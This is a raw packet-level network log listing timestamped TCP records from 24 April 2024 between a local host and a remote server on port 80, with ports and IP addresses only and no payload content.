Apr 24, 2024 10:27:14.069971085 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.070002079 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.070024014 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.070041895 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.070050955 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.070090055 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.070110083 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.070151091 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.070188999 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.070223093 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.070230007 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.070269108 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.070305109 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.070346117 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.274010897 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.274075031 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.274116039 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.274128914 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.274154902 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.274168015 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.274195910 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.274198055 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.274235010 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.274245977 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.274272919 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.274295092 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.274312019 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.274322987 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.274350882 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.274353027 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.274389982 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.274390936 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.274430037 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.274435043 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.274470091 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.274472952 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.274512053 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.279019117 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.279079914 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.279124022 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.279134989 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.279167891 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.279202938 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.279239893 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.480302095 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.480339050 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.480357885 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.480377913 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.480396986 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.480407953 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.480415106 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.480458021 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.480458021 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.480458021 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.480525017 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.480568886 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.480604887 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.480606079 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.480634928 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.480643034 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.480675936 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.480734110 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.480752945 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.480773926 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.480788946 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.485836029 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.485951900 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.488681078 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.488709927 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.488740921 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.488774061 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.488787889 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.488806963 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.488852978 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.488892078 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.488897085 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.488935947 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.489017963 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.489092112 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.489100933 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.489170074 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.489180088 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.489202976 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.489221096 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.489258051 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.490300894 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.490355015 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.493221998 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.493247986 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.493287086 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.493299961 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.493309021 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.493376017 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.493395090 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.493422985 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.493448019 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.493488073 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.493508101 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.493546963 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.493567944 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.493606091 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.690298080 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.690356970 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.690397978 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.690422058 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.690459967 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.690495014 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.690535069 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.690546036 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.690583944 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.690639973 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.690685034 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.690747023 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.690795898 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.690851927 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.690901041 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.690915108 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.690952063 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.690988064 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.690998077 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.691057920 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.691103935 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.691292048 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.691344023 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.696484089 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.696537971 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.696569920 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.696616888 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.696629047 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.696667910 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.696676970 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.696716070 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.696758032 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.696795940 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.696816921 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.696835995 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.696899891 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.696939945 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.696949005 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.696984053 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.697016954 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.697056055 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.697062016 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.697094917 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.697128057 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.697165966 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.697174072 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.697212934 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.702368975 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.702408075 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.702461004 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.702471018 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.702518940 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.702642918 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.702691078 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.702733994 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.702786922 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.702811956 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.702860117 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.702884912 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.702931881 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.702956915 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.703006029 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.703027964 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.703067064 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.703088045 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.703107119 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.703138113 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.703176022 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.703183889 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.703221083 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.703249931 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.703288078 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.707489967 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.707535028 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.707571983 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.707588911 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.707609892 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.707611084 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.707650900 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.707659960 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.707689047 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.707694054 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.707735062 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.707792044 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.707840919 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.707845926 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.707880974 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.707880974 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.707920074 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.707921982 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.707957983 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.707961082 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.707997084 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.707999945 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.708039999 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.711282015 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.711321115 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.711330891 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.711366892 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.711395979 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.711433887 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.711445093 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.711476088 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.711505890 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.711564064 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.713404894 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.713443995 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.713494062 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.713495016 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.713532925 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.713536024 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.713582039 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.713638067 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.713686943 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.713752031 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.713789940 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.713797092 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.713830948 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.713864088 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.713913918 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.719575882 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.719614983 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.719674110 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.893030882 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.893098116 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.893115997 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.893157005 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.893161058 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.893197060 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.893202066 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.893239021 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.893243074 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.893279076 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.893282890 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.893316984 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.893318892 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.893354893 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.893357038 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.893393040 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.893398046 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.893433094 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.893450975 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.893471956 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.893507957 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.893512011 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.893524885 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.893552065 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.897445917 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.897485971 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.897524118 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.897541046 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.897558928 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.897562981 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.897579908 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.897598982 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.897603035 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.897640944 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.897646904 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.897679090 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.897687912 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.897718906 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.897727966 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.897758007 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.897794962 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.897795916 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.897824049 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.897840977 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.897851944 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.897880077 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.897886038 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.897923946 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.901952982 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.901993036 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.902024031 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.902033091 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.902051926 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.902070999 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.902108908 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.902117968 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.902148962 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.902152061 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.902187109 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.902192116 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.902225971 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.902228117 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.902262926 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.902267933 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.902302980 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.902340889 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.902359009 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.902379990 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.902381897 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.902421951 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.906169891 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.906209946 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.906249046 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.906279087 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.906311035 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.906311989 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.906351089 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.906399965 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.906455994 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.906493902 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.906501055 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.906532049 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.906538010 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.906572104 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.906577110 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.906610012 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.906620026 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.906650066 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.906656981 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.906692028 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.906698942 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.906732082 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.906735897 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.906778097 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.910387993 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.910433054 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.910454035 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.910469055 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.910479069 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.910507917 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.910512924 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.910546064 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.910552979 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.910583973 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.910589933 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.910621881 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.910628080 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.910660028 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.910671949 CEST	49736	80	192.168.2.4	189.232.19.193
